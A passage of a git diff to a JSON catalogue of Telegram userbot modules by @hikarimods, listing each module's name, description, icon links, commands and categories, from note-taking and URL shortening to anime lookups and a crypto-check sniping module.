"commands": [ + { + "hwcmd": "<item> - New hometask" + }, + { + "hwlcmd": "List of hometasks" + }, + { + "uhwcmd": "<id> - Remove hometask" + } + ], + "new_commands": [ + { + "hw": { + "ru_doc": null, + "en_doc": null, + "doc": "<item> - New hometask" + } + }, + { + "hwl": { + "ru_doc": null, + "en_doc": null, + "doc": "List of hometasks" + } + }, + { + "uhw": { + "ru_doc": null, + "en_doc": null, + "doc": "<id> - Remove hometask" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/surl.py": { + "name": "AutoShortenerMod", + "description": "Automatically shortens urls in your messages, which are larger than specified threshold", + "meta": { + "pic": "https://img.icons8.com/external-xnimrodx-lineal-color-xnimrodx/512/000000/external-short-shopping-mall-xnimrodx-lineal-color-xnimrodx.png", + "banner": "https://mods.hikariatama.ru/badges/surl.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "autosurlcmd": "Toggle automatic url shortener" + }, + { + "surlcmd": "[url] [engine]- Shorten url" + } + ], + "new_commands": [ + { + "autosurl": { + "ru_doc": null, + "en_doc": null, + "doc": "Toggle automatic url shortener" + } + }, + { + "surl": { + "ru_doc": null, + "en_doc": null, + "doc": "[url] [engine]- Shorten url" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "hikariatama/ftg/truth_or_dare.py": { + "name": "TruthOrDareMod", + "description": "Truth or dare? Play your favorite game from inside the Telegram (en/ru)", + "meta": { + "pic": "https://static.dan.tatar/truth_or_date_icon.py", + "banner": "https://mods.hikariatama.ru/badges/truth_or_dare.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "todcmd": "Get truth or dare" + }, + { + "todicmd": "Start new truth or dare game" + }, + { + "todlangcmd": "[en/ru] - Change language" + } + ], + "new_commands": [ + { + "tod": { + "ru_doc": null, + "en_doc": null, + "doc": "Get truth or dare" + } + }, + { + "todi": { + "ru_doc": null, + "en_doc": null, + "doc": "Start new truth or dare game" + } + }, + { + "todlang": { + "ru_doc": null, + "en_doc": null, + "doc": "[en/ru] - Change language" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/checkege.py": { + "name": "CheckEge", + "description": "Checks Russian National Exam results", + "meta": { + "pic": "https://0x0.st/Hcj1.png", + "banner": "https://mods.hikariatama.ru/badges/checkege.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "checkege": "Авторизоваться и вывести результаты ЕГЭ" + } + ], + "new_commands": [ + { + "checkege": { + "ru_doc": null, + "en_doc": null, + "doc": "Авторизоваться и вывести результаты ЕГЭ" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "hikariatama/ftg/forex_wss.py": { + "name": "RealTimeValutesMod", + "description": "Track valutes in real time. Updates more than once a second", + "meta": { + "pic": "https://static.dan.tatar/forex_wss.png", + "banner": "https://mods.hikariatama.ru/badges/forex_wss.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "valcmd": "Show exchange rates" + } + ], + "new_commands": [ + { + "val": { + "ru_doc": null, + "en_doc": null, + "doc": "Show exchange rates" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "hikariatama/ftg/notes.py": { + "name": "NotesMod", + "description": "Advanced notes module with folders and other features", + "meta": { + "pic": "https://static.dan.tatar/notes_icon.png", + "banner": "https://mods.hikariatama.ru/badges/notes.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "hsavecmd": "[folder] <name> - Save new note" + }, + { + "hgetcmd": "<name> - Show specified note" + }, + { + "hdelcmd": "<name> - Delete specified note" + }, + { + "hlistcmd": "[folder] - List all notes" + } + ], + "new_commands": [ + { + "hsave": { + "ru_doc": null, + "en_doc": null, + "doc": "[folder] <name> - Save new note" + } + }, + { + "hget": { + "ru_doc": null, + "en_doc": null, + "doc": "<name> - Show specified note" + } + }, + { + "hdel": { + "ru_doc": null, + "en_doc": null, + "doc": "<name> - Delete specified note" + } + }, + { + "hlist": { + "ru_doc": null, + "en_doc": null, + "doc": "[folder] - List all notes" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "hikariatama/ftg/inline_random.py": { + "name": "InlineRandomMod", + "description": "Random tools for your userbot", + "meta": { + "pic": "https://img.icons8.com/fluency/240/000000/shuffle.png", + "banner": "https://mods.hikariatama.ru/badges/inline_random.jpg", "developer": "@hikarimods" }, "commands": [], "new_commands": [], "category": [ - "Media", - "Chat" + "Tools", + "Fun" ] }, - "hikariatama/ftg/tgstatus.py": { - "name": "TgStatus", - "description": "Rotates Telegram status for Telegram Premium users only", + "hikariatama/ftg/artai.py": { + "name": "ArtAIMod", + "description": "Ultimate module, which uses AI to draw ppl", "meta": { - "pic": "https://img.icons8.com/cotton/344/like--v2.png", - "banner": "https://mods.hikariatama.ru/badges/tgstatus.jpg", + "pic": "https://static.dan.tatar/artai_icon.png", + "banner": "https://mods.hikariatama.ru/badges/artai.jpg", "developer": "@hikarimods" }, "commands": [ { - "tgstatus": "<custom emojis for statuses> <time to rotate in minutes> - Start status rotation with interval in minutes <кастомные эмодзи для статуса> <интервал в минутах> - Запустить ротацию статуса с интервалом в минутах" - }, - { - "tgstatuspack": "<custom emojis for pack search> <time to rotate in minutes> - Start status rotation with interval in minutes using full pack of specified emojis <кастомные эмодзи для получения паков> <интервал в минутах> - Запустить ротацию статуса с интервалом в минутах, используя полный пак указанных эмодзи" - }, - { - "untgstatus": "Stop status rotation Остановить статус" + "artaicmd": "<photo> - Create anime art from photo" } ], "new_commands": [ { - "tgstatus": { - "ru_doc": "<кастомные эмодзи для статуса> <интервал в минутах> - Запустить ротацию статуса с интервалом в минутах", + "artai": { + "ru_doc": null, "en_doc": null, - "doc": "<custom emojis for statuses> <time to rotate in minutes> - Start status rotation with interval in minutes" + "doc": "<photo> - Create anime art from photo" } - }, + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/declaration.py": { + "name": "Declaration", + "description": "If you are too humble to declare your love, use this module", + "meta": { + "pic": "https://img.icons8.com/stickers/344/love-message.png", + "banner": "https://mods.hikariatama.ru/badges/declaration.jpg", + "developer": "@hikarimods" + }, + "commands": [ { - "tgstatuspack": { - "ru_doc": "<кастомные эмодзи для получения паков> <интервал в минутах> - Запустить ротацию статуса с интервалом в минутах, используя полный пак указанных эмодзи", + "declare": "Declare love Признаться в любви" + } + ], + "new_commands": [ + { + "declare": { + "ru_doc": "Признаться в любви", "en_doc": null, - "doc": "<custom emojis for pack search> <time to rotate in minutes> - Start status rotation with interval in minutes using full pack of specified emojis" + "doc": "Declare love" } - }, + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/bincheck.py": { + "name": "BinCheckerMod", + "description": "Show bin info about card", + "meta": { + "pic": "https://static.dan.tatar/bincheck_icon.png", + "banner": "https://mods.hikariatama.ru/badges/bincheck.jpg", + "developer": "@hikarimods" + }, + "commands": [ { - "untgstatus": { - "ru_doc": "Остановить статус", + "bincheckcmd": "[bin] - Get card Bin info" + } + ], + "new_commands": [ + { + "bincheck": { + "ru_doc": null, "en_doc": null, - "doc": "Stop status rotation" + "doc": "[bin] - Get card Bin info" + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + "hikariatama/ftg/emotionless.py": { + "name": "EmotionlessMod", + "description": "Automatically reads reactions", + "meta": { + "pic": "https://img.icons8.com/external-vitaliy-gorbachev-flat-vitaly-gorbachev/464/000000/external-sad-social-media-vitaliy-gorbachev-flat-vitaly-gorbachev.png", + "banner": "https://mods.hikariatama.ru/badges/emotionless.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "noreacts": "Toggle reactions auto-reader Переключить авточтение реакций" + } + ], + "new_commands": [ + { + "noreacts": { + "ru_doc": "Переключить авточтение реакций", + "en_doc": null, + "doc": "Toggle reactions auto-reader" + } + } + ], + "category": [ + "Chat", + "Automation" + ] + }, + "hikariatama/ftg/pollplot.py": { + "name": "PollPlotMod", + "description": "Visualises polls as plots", + "meta": { + "pic": "https://static.dan.tatar/pollplot_icon.png", + "banner": "https://mods.hikariatama.ru/badges/pollplot.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "plotcmd": "<reply> - Create plot from poll" + } + ], + "new_commands": [ + { + "plot": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply> - Create plot from poll" } } ], @@ -12606,25 +36696,82 @@ "Chat" ] }, - "hikariatama/ftg/tagall.py": { - "name": "TagAllMod", - "description": "Tags all people in chat with either inline bot or client", + "hikariatama/ftg/inactive.py": { + "name": "Inactive", + "description": "Blocks people who are inactive for a long time. Check .config", "meta": { - "pic": "https://static.dan.tatar/tagall_icon.png", - "banner": "https://mods.hikariatama.ru/badges/tagall.jpg", + "pic": "https://img.icons8.com/external-wanicon-flat-wanicon/344/external-dead-halloween-costume-avatar-wanicon-flat-wanicon.png", + "banner": "https://mods.hikariatama.ru/badges/inactive.jpg", "developer": "@hikarimods" }, "commands": [ { - "tagall": "[text] - Tag all users in chat [текст] - Отметить всех участников чата" + "inactive": "Start inactive users cleaner Запустить чистку неактивных юзеров" } ], "new_commands": [ { - "tagall": { - "ru_doc": "[текст] - Отметить всех участников чата", + "inactive": { + "ru_doc": "Запустить чистку неактивных юзеров", "en_doc": null, - "doc": "[text] - Tag all users in chat" + "doc": "Start inactive users cleaner" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/shikimori.py": { + "name": "ShikimoriMod", + "description": "Shikimori API Wrapper", + "meta": { + "pic": "https://i.imgur.com/MTkqvXX.jpeg", + "banner": "https://mods.hikariatama.ru/badges/shikimori.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "shikicmd": "<anime> - Search anime and return best match as form" + }, + { + "shikiauthcmd": "Authorize on Shikimori.one" + }, + { + "myshikicmd": "Show watched animes from Shikimori.one" + }, + { + "aniaddcmd": "<name> - Add best search match to the list of planned animes" + } + ], + "new_commands": [ + { + "shiki": { + "ru_doc": null, + "en_doc": null, + "doc": "<anime> - Search anime and return best match as form" + } + }, + { + "shikiauth": { + "ru_doc": null, + "en_doc": null, + "doc": "Authorize on Shikimori.one" + } + }, + { + "myshiki": { + "ru_doc": null, + "en_doc": null, + "doc": "Show watched animes from Shikimori.one" + } + }, + { + "aniadd": { + "ru_doc": null, + "en_doc": null, + "doc": "<name> - Add best search match to the list of planned animes" } } ], @@ -12633,47 +36780,31 @@ "Tools" ] }, - "hikariatama/ftg/longread.py": { - "name": "LongReadMod", - "description": "Pack longreads under button spoilers", + "hikariatama/ftg/web2file.py": { + "name": "Web2fileMod", + "description": "Download content from link and send it as file", "meta": { - "pic": "https://static.dan.tatar/longread_icon.png", - "banner": "https://mods.hikariatama.ru/badges/longread.jpg", + "pic": "https://img.icons8.com/fluency/240/000000/archive.png", + "banner": "https://mods.hikariatama.ru/badges/web2file.jpg", "developer": "@hikarimods" }, "commands": [ { - "lrcmd": "<text> - Create new hidden message" + "web2filecmd": "Send link content as file" } ], "new_commands": [ { - "lr": { + "web2file": { "ru_doc": null, "en_doc": null, - "doc": "<text> - Create new hidden message" + "doc": "Send link content as file" } } ], "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/leomatch.py": { - "name": "LeomatchMod", - "description": "Simplifies the interaction with @leomatchbot - Rejects slag, allows you to create filters by age, cities, blacklisted words. Check .config for more info", - "meta": { - "pic": "https://static.dan.tatar/leomatch_icon.png", - "banner": "https://mods.hikariatama.ru/badges/leomatch.jpg", - "desc": "Simplifies the interaction with @leomatchbot - Rejects slag, allows you to create filters by age, cities, blacklisted words.", - "developer": "@hikarimods" - }, - "commands": [], - "new_commands": [], - "category": [ - "Tools", - "Chat" + "Chat", + "Tools" ] }, "hikariatama/ftg/grustnogram.py": { @@ -12723,79 +36854,25 @@ "Security" ] }, - "hikariatama/ftg/forex_wss.py": { - "name": "RealTimeValutesMod", - "description": "Track valutes in real time. Updates more than once a second", + "hikariatama/ftg/account_switcher.py": { + "name": "AccountSwitcherMod", + "description": "Allows you to easily switch between different profiles", "meta": { - "pic": "https://static.dan.tatar/forex_wss.png", - "banner": "https://mods.hikariatama.ru/badges/forex_wss.jpg", + "pic": "https://static.dan.tatar/account_switcher_icon.png", + "banner": "https://mods.hikariatama.ru/badges/account_switcher.jpg", "developer": "@hikarimods" }, "commands": [ { - "valcmd": "Show exchange rates" + "accsavecmd": "Save account for future restoring" } ], "new_commands": [ { - "val": { + "accsave": { "ru_doc": null, "en_doc": null, - "doc": "Show exchange rates" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "hikariatama/ftg/wolfram.py": { - "name": "WolframAlphaMod", - "description": "Solves hard math questions", - "meta": { - "pic": "https://static.dan.tatar/wolfram_icon.png", - "banner": "https://mods.hikariatama.ru/badges/wolfram.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "wolframcmd": "Solve mathematic problem" - } - ], - "new_commands": [ - { - "wolfram": { - "ru_doc": null, - "en_doc": null, - "doc": "Solve mathematic problem" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "hikariatama/ftg/inline_spotify.py": { - "name": "InlineSpotifyMod", - "description": "EXTENSION for SpotifyNow mod, that allows you to send interactive player.", - "meta": { - "pic": "https://img.icons8.com/color/480/000000/playstation-buttons.png", - "banner": "https://mods.hikariatama.ru/badges/inline_spotify.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "splayer": "Send interactive Spotify player (active only for 5 minutes!) Отправляет интерактивный плеер Spotify (активен в течение 5 минут!)" - } - ], - "new_commands": [ - { - "splayer": { - "ru_doc": "Отправляет интерактивный плеер Spotify (активен в течение 5 минут!)", - "en_doc": null, - "doc": "Send interactive Spotify player (active only for 5 minutes!)" + "doc": "Save account for future restoring" } } ], @@ -12804,102 +36881,114 @@ "Chat" ] }, - "hikariatama/ftg/inline_random.py": { - "name": "InlineRandomMod", - "description": "Random tools for your userbot", + "hikariatama/ftg/cryptosteal.py": { + "name": "CryptoSteal", + "description": "Steals checks for crypto", "meta": { - "pic": "https://img.icons8.com/fluency/240/000000/shuffle.png", - "banner": "https://mods.hikariatama.ru/badges/inline_random.jpg", + "pic": "https://ton.org/download/ton_symbol.png", + "banner": "https://mods.hikariatama.ru/badges/cryptosteal.jpg", "developer": "@hikarimods" }, "commands": [], "new_commands": [], "category": [ - "Tools", - "Fun" + "Fun", + "Tools" ] }, - "hikariatama/ftg/onload.py": { - "name": "OnloadExecutorMod", - "description": "Executes selected commands after every userbot restart", + "hikariatama/ftg/purr.py": { + "name": "KeywordMod", + "description": "Sends purr-r message", "meta": { - "pic": "https://static.dan.tatar/onload_icon.png", - "banner": "https://mods.hikariatama.ru/badges/onload.jpg", - "developer": "@hikarimods" - }, - "commands": [], - "new_commands": [], - "category": [ - "Tools", - "Fun" - ] - }, - "hikariatama/ftg/edutatar.py": { - "name": "EduTatarMod", - "description": "Telegram client for edu.tatar.ru", - "meta": { - "pic": "https://static.dan.tatar/edutatar_icon.png", - "banner": "https://mods.hikariatama.ru/badges/edutatar.jpg", + "pic": "https://static.dan.tatar/purr_icon.png", + "banner": "https://mods.hikariatama.ru/badges/purr.jpg", "developer": "@hikarimods" }, "commands": [ { - "eduweekcmd": "Show schedule for a week" - }, - { - "edudaycmd": "<day:integer{0,}> - Show schedule for today" - }, - { - "edutermcmd": "Get term grades" + "purrcmd": "Sends 'purr' voice message" } ], "new_commands": [ { - "eduweek": { + "purr": { "ru_doc": null, "en_doc": null, - "doc": "Show schedule for a week" - } - }, - { - "eduday": { - "ru_doc": null, - "en_doc": null, - "doc": "<day:integer{0,}> - Show schedule for today" - } - }, - { - "eduterm": { - "ru_doc": null, - "en_doc": null, - "doc": "Get term grades" + "doc": "Sends 'purr' voice message" } } ], "category": [ "Tools", - "Info" + "Chat" ] }, - "hikariatama/ftg/porn.py": { - "name": "PornMod", - "description": "Sends adult content directly to Telegram. Use with caution", + "hikariatama/ftg/userinfo.py": { + "name": "InfoMod", + "description": "Retrieve information about bot/user/chat", "meta": { - "pic": "https://static.dan.tatar/porn_icon.png", - "banner": "https://mods.hikariatama.ru/badges/porn.jpg", + "pic": "https://static.dan.tatar/userinfo_icon.png", + "banner": "https://mods.hikariatama.ru/badges/userinfo.jpg", "developer": "@hikarimods" }, "commands": [ { - "porncmd": "<query> - Send adult content gallery (be aware using in public chats)" + "userinfocmd": "Get object infomation" } ], "new_commands": [ { - "porn": { + "userinfo": { "ru_doc": null, "en_doc": null, - "doc": "<query> - Send adult content gallery (be aware using in public chats)" + "doc": "Get object infomation" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/uploader.py": { + "name": "FileUploaderMod", + "description": "Different engines file uploader", + "meta": { + "pic": "https://static.dan.tatar/uploader_icon.png", + "banner": "https://mods.hikariatama.ru/badges/uploader.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "skynetcmd": "Upload to decentralized SkyNet" + }, + { + "imgurcmd": "Upload to imgur.com" + }, + { + "oxocmd": "Upload to 0x0.st" + } + ], + "new_commands": [ + { + "skynet": { + "ru_doc": null, + "en_doc": null, + "doc": "Upload to decentralized SkyNet" + } + }, + { + "imgur": { + "ru_doc": null, + "en_doc": null, + "doc": "Upload to imgur.com" + } + }, + { + "oxo": { + "ru_doc": null, + "en_doc": null, + "doc": "Upload to 0x0.st" } } ], @@ -12908,68 +36997,31 @@ "Tools" ] }, - "hikariatama/ftg/httpsc.py": { - "name": "HttpErrorsMod", - "description": "Dictionary of http status codes", + "hikariatama/ftg/carbon.py": { + "name": "CarbonMod", + "description": "Create beautiful code images", "meta": { - "pic": "https://img.icons8.com/external-flaticons-lineal-color-flat-icons/512/000000/external-status-agile-flaticons-lineal-color-flat-icons-2.png", - "banner": "https://mods.hikariatama.ru/badges/httpsc.jpg", + "pic": "https://img.icons8.com/stickers/500/000000/code.png", + "banner": "https://mods.hikariatama.ru/badges/carbon.jpg", "developer": "@hikarimods" }, "commands": [ { - "httpsccmd": "<statuscode> - Get status code info" - }, - { - "httpscscmd": "Get all http status codes" + "carboncmd": "<code> - Create beautiful code image" } ], "new_commands": [ { - "httpsc": { + "carbon": { "ru_doc": null, "en_doc": null, - "doc": "<statuscode> - Get status code info" - } - }, - { - "httpscs": { - "ru_doc": null, - "en_doc": null, - "doc": "Get all http status codes" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "hikariatama/ftg/wakatime.py": { - "name": "WakaTimeMod", - "description": "WakaTime widget for your @username_bio channels", - "meta": { - "pic": "https://static.dan.tatar/wakatime_icon.png", - "banner": "https://mods.hikariatama.ru/badges/wakatime.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "wakatogglecmd": "Toggle widgets' updates" - } - ], - "new_commands": [ - { - "wakatoggle": { - "ru_doc": null, - "en_doc": null, - "doc": "Toggle widgets' updates" + "doc": "<code> - Create beautiful code image" } } ], "category": [ "Tools", - "Chat" + "Fun" ] }, "hikariatama/ftg/nekospy.py": { @@ -13049,65 +37101,25 @@ "Automation" ] }, - "hikariatama/ftg/crypto.py": { - "name": "Crypto", - "description": "Some basic stuff with cryptocurrencies and @CryptoBot", + "hikariatama/ftg/inline_spotify.py": { + "name": "InlineSpotifyMod", + "description": "EXTENSION for SpotifyNow mod, that allows you to send interactive player.", "meta": { - "pic": "https://img.icons8.com/3d-plastilina/344/3d-plastilina-three-quarter-view-of-a-bitcoin-emblem.png", - "banner": "https://mods.hikariatama.ru/badges/crypto.jpg", + "pic": "https://img.icons8.com/color/480/000000/playstation-buttons.png", + "banner": "https://mods.hikariatama.ru/badges/inline_spotify.jpg", "developer": "@hikarimods" }, "commands": [ { - "check": "<amount> [person] [comment] - Send check <сумма> [человек] [комментарий] - Выписать чек" - }, - { - "wallet": "Show wallet balance Показать баланс криптокошелька" - }, - { - "muinvoice": "[-o - don't create new one] Send multi-use invoice [-o - не создавать новый] - Отправить мультисчёт" - }, - { - "invoice": "<amount> [comment] - Send invoice <сумма> [комментарий] - Выставить счет" - }, - { - "rates": "[amount] <name> - Show cryptocurrency exchange rates [amount] <name> - Показать курс криптовалюты" + "splayer": "Send interactive Spotify player (active only for 5 minutes!) Отправляет интерактивный плеер Spotify (активен в течение 5 минут!)" } ], "new_commands": [ { - "check": { - "ru_doc": "<сумма> [человек] [комментарий] - Выписать чек", + "splayer": { + "ru_doc": "Отправляет интерактивный плеер Spotify (активен в течение 5 минут!)", "en_doc": null, - "doc": "<amount> [person] [comment] - Send check" - } - }, - { - "wallet": { - "ru_doc": "Показать баланс криптокошелька", - "en_doc": null, - "doc": "Show wallet balance" - } - }, - { - "muinvoice": { - "ru_doc": "[-o - не создавать новый] - Отправить мультисчёт", - "en_doc": null, - "doc": "[-o - don't create new one] Send multi-use invoice" - } - }, - { - "invoice": { - "ru_doc": "<сумма> [комментарий] - Выставить счет", - "en_doc": null, - "doc": "<amount> [comment] - Send invoice" - } - }, - { - "rates": { - "ru_doc": "[amount] <name> - Показать курс криптовалюты", - "en_doc": null, - "doc": "[amount] <name> - Show cryptocurrency exchange rates" + "doc": "Send interactive Spotify player (active only for 5 minutes!)" } } ], @@ -13116,25 +37128,25 @@ "Chat" ] }, - "hikariatama/ftg/inline_ghoul.py": { - "name": "InlineGhoulMod", - "description": "Non-spammy ghoul module", + "hikariatama/ftg/latex.py": { + "name": "LaTeXMod", + "description": "Renders mathematical formulas in LaTeX pngs", "meta": { - "pic": "https://img.icons8.com/color/480/000000/dota.png", - "banner": "https://mods.hikariatama.ru/badges/inline_ghoul.jpg", + "pic": "https://img.icons8.com/fluency/452/texshop.png", + "banner": "https://mods.hikariatama.ru/badges/latex.jpg", "developer": "@hikarimods" }, "commands": [ { - "ghoulcmd": "Sends ghoul message" + "latexcmd": "<formula> - Create LaTeX render" } ], "new_commands": [ { - "ghoul": { + "latex": { "ru_doc": null, "en_doc": null, - "doc": "Sends ghoul message" + "doc": "<formula> - Create LaTeX render" } } ], @@ -13143,109 +37155,26 @@ "Chat" ] }, - "hikariatama/ftg/shikimori.py": { - "name": "ShikimoriMod", - "description": "Shikimori API Wrapper", + "hikariatama/ftg/donations.py": { + "name": "HikariDonationsMod", + "description": "Создает виджеты для доната", "meta": { - "pic": "https://i.imgur.com/MTkqvXX.jpeg", - "banner": "https://mods.hikariatama.ru/badges/shikimori.jpg", + "pic": "https://static.dan.tatar/donations_icon.png", + "banner": "https://mods.hikariatama.ru/badges/donations.jpg", + "desc": "[RU] Create donate widgets through Hikari.Donations platform", "developer": "@hikarimods" }, "commands": [ { - "shikicmd": "<anime> - Search anime and return best match as form" - }, - { - "shikiauthcmd": "Authorize on Shikimori.one" - }, - { - "myshikicmd": "Show watched animes from Shikimori.one" - }, - { - "aniaddcmd": "<name> - Add best search match to the list of planned animes" + "donatecmd": "<сумма> <описание> - Создать новый донатный виджет в текущем чате" } ], "new_commands": [ { - "shiki": { + "donate": { "ru_doc": null, "en_doc": null, - "doc": "<anime> - Search anime and return best match as form" - } - }, - { - "shikiauth": { - "ru_doc": null, - "en_doc": null, - "doc": "Authorize on Shikimori.one" - } - }, - { - "myshiki": { - "ru_doc": null, - "en_doc": null, - "doc": "Show watched animes from Shikimori.one" - } - }, - { - "aniadd": { - "ru_doc": null, - "en_doc": null, - "doc": "<name> - Add best search match to the list of planned animes" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "hikariatama/ftg/xvideos.py": { - "name": "XVideosMod", - "description": "Disclaimer: For adult auditory only (18+)", - "meta": { - "pic": "https://img.icons8.com/external-flat-vinzence-studio/344/external-erotic-erotic-stuff-flat-vinzence-studio-11.png", - "banner": "https://mods.hikariatama.ru/badges/xvideos.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "xvidcmd": "<query> - search for videos" - } - ], - "new_commands": [ - { - "xvid": { - "ru_doc": null, - "en_doc": null, - "doc": "<query> - search for videos" - } - } - ], - "category": [ - "Tools", - "Info" - ] - }, - "hikariatama/ftg/alphabet.py": { - "name": "Alphabet", - "description": "Replaces your text with custom emojis. Telegram Premium only", - "meta": { - "pic": "https://img.icons8.com/plasticine/344/hiragana-ma.png", - "banner": "https://mods.hikariatama.ru/badges/alphabet.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "acmd": "<text> - Write text with emojis" - } - ], - "new_commands": [ - { - "a": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> - Write text with emojis" + "doc": "<сумма> <описание> - Создать новый донатный виджет в текущем чате" } } ], @@ -13254,119 +37183,16 @@ "Chat" ] }, - "hikariatama/ftg/musicdl.py": { - "name": "MusicDLMod", - "description": "Download music", + "hikariatama/ftg/hikkamods_socket.py": { + "name": "HikkaModsSocketMod", + "description": "Gives @hikkamods_bot a right to download modules from official modules aggregator and autoupdate them", "meta": { - "pic": "https://static.dan.tatar/musicdl_icon.png", - "banner": "https://mods.hikariatama.ru/badges/musicdl.jpg", + "pic": null, + "banner": null, "developer": "@hikarimods" }, - "commands": [ - { - "mdl": "<name> - Download track <название> - Скачать песню" - } - ], - "new_commands": [ - { - "mdl": { - "ru_doc": "<название> - Скачать песню", - "en_doc": null, - "doc": "<name> - Download track" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "hikariatama/ftg/moonlove.py": { - "name": "MoonLoveMod", - "description": "Animation with moon and hearts for your beloved", - "meta": { - "pic": "https://static.dan.tatar/moonlove_icon.png", - "banner": "https://mods.hikariatama.ru/badges/moonlove.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "moonlovecmd": "[text] - Love you to the moon" - }, - { - "moonloveicmd": "[text] - Love you to the moon [Inline]" - } - ], - "new_commands": [ - { - "moonlove": { - "ru_doc": null, - "en_doc": null, - "doc": "[text] - Love you to the moon" - } - }, - { - "moonlovei": { - "ru_doc": null, - "en_doc": null, - "doc": "[text] - Love you to the moon [Inline]" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "hikariatama/ftg/anything.py": { - "name": "Anything", - "description": "Draws ANYTHING using artificial intelligence. No API key required. 18+ only.", - "meta": { - "pic": "https://img.icons8.com/fluency/512/artificial-intelligence.png", - "banner": "https://mods.hikariatama.ru/badges/anything.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "draw": "<prompt> [-n <int>] [-comp] [-neg <str>]" - } - ], - "new_commands": [ - { - "draw": { - "ru_doc": null, - "en_doc": null, - "doc": "<prompt> [-n <int>] [-comp] [-neg <str>]" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "hikariatama/ftg/youtube.py": { - "name": "YouTubeMod", - "description": "Download YouTube video", - "meta": { - "pic": "https://img.icons8.com/plasticine/400/000000/youtube-play--v2.png", - "banner": "https://mods.hikariatama.ru/badges/youtube.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "ytcmd": "[mp3] <link> - Download video from youtube" - } - ], - "new_commands": [ - { - "yt": { - "ru_doc": null, - "en_doc": null, - "doc": "[mp3] <link> - Download video from youtube" - } - } - ], + "commands": [], + "new_commands": [], "category": [ "Media", "Chat" @@ -13840,65 +37666,75 @@ "Chat" ] }, - "hikariatama/ftg/systemd.py": { - "name": "SystemdMod", - "description": "Control systemd units easily", + "hikariatama/ftg/neko.py": { + "name": "NekosLifeMod", + "description": "NekosLife API Wrapper", "meta": { - "pic": "https://img.icons8.com/plasticine/344/apple-settings--v2.png", - "banner": "https://mods.hikariatama.ru/badges/systemd.jpg", + "pic": "https://static.dan.tatar/neko_icon.png", + "banner": "https://mods.hikariatama.ru/badges/neko.jpg", "developer": "@hikarimods" }, "commands": [ { - "unitscmd": "Open control panel" + "nkcmd": "Send anime pic" }, { - "addunitcmd": "<unit> <name> - Add new unit" + "nkctcmd": "Show available categories" }, { - "delunitcmd": "<unit> - Delete unit" + "owoifycmd": "OwOify text" }, { - "unitcmd": "<unit> <start|stop|restart|logs|tail> - Perform specific action on unit bypassing main menu" + "whycmd": "Why?" }, { - "nameunitcmd": "<unit> <new_name> - Rename unit" + "factcmd": "Did you know?" + }, + { + "meowcmd": "Sends cat ascii art" } ], "new_commands": [ { - "units": { + "nk": { "ru_doc": null, "en_doc": null, - "doc": "Open control panel" + "doc": "Send anime pic" } }, { - "addunit": { + "nkct": { "ru_doc": null, "en_doc": null, - "doc": "<unit> <name> - Add new unit" + "doc": "Show available categories" } }, { - "delunit": { + "owoify": { "ru_doc": null, "en_doc": null, - "doc": "<unit> - Delete unit" + "doc": "OwOify text" } }, { - "unit": { + "why": { "ru_doc": null, "en_doc": null, - "doc": "<unit> <start|stop|restart|logs|tail> - Perform specific action on unit bypassing main menu" + "doc": "Why?" } }, { - "nameunit": { + "fact": { "ru_doc": null, "en_doc": null, - "doc": "<unit> <new_name> - Rename unit" + "doc": "Did you know?" + } + }, + { + "meow": { + "ru_doc": null, + "en_doc": null, + "doc": "Sends cat ascii art" } } ], @@ -13907,115 +37743,244 @@ "Chat" ] }, - "hikariatama/ftg/anisearch.py": { - "name": "AniSearchMod", - "description": "Searches for anime exact moment by only frame screenshot", + "hikariatama/ftg/lovemagic.py": { + "name": "ILYMod", + "description": "Famous TikTok hearts animation implemented in Hikka w/o logspam", "meta": { - "pic": "https://static.dan.tatar/anisearch_icon.png", - "banner": "https://mods.hikariatama.ru/badges/anisearch.jpg", + "pic": "https://static.dan.tatar/lovemagic_icon.png", + "banner": "https://mods.hikariatama.ru/badges/lovemagic.jpg", "developer": "@hikarimods" }, "commands": [ { - "anisearchcmd": "Search anime by frame" + "ilyicmd": "Send inline message with animated hearts Отправить анимацию сердец в инлайне" + }, + { + "ily": "Send message with animated hearts Отправить анимацию сердец" + }, + { + "ilygayicmd": "Send inline message with animated hearts (gay) Отправить гейскую анимацию сердец в инлайне" + }, + { + "ilygay": "Send message with animated hearts (gay) Отправить гейскую анимацию сердец" } ], "new_commands": [ { - "anisearch": { - 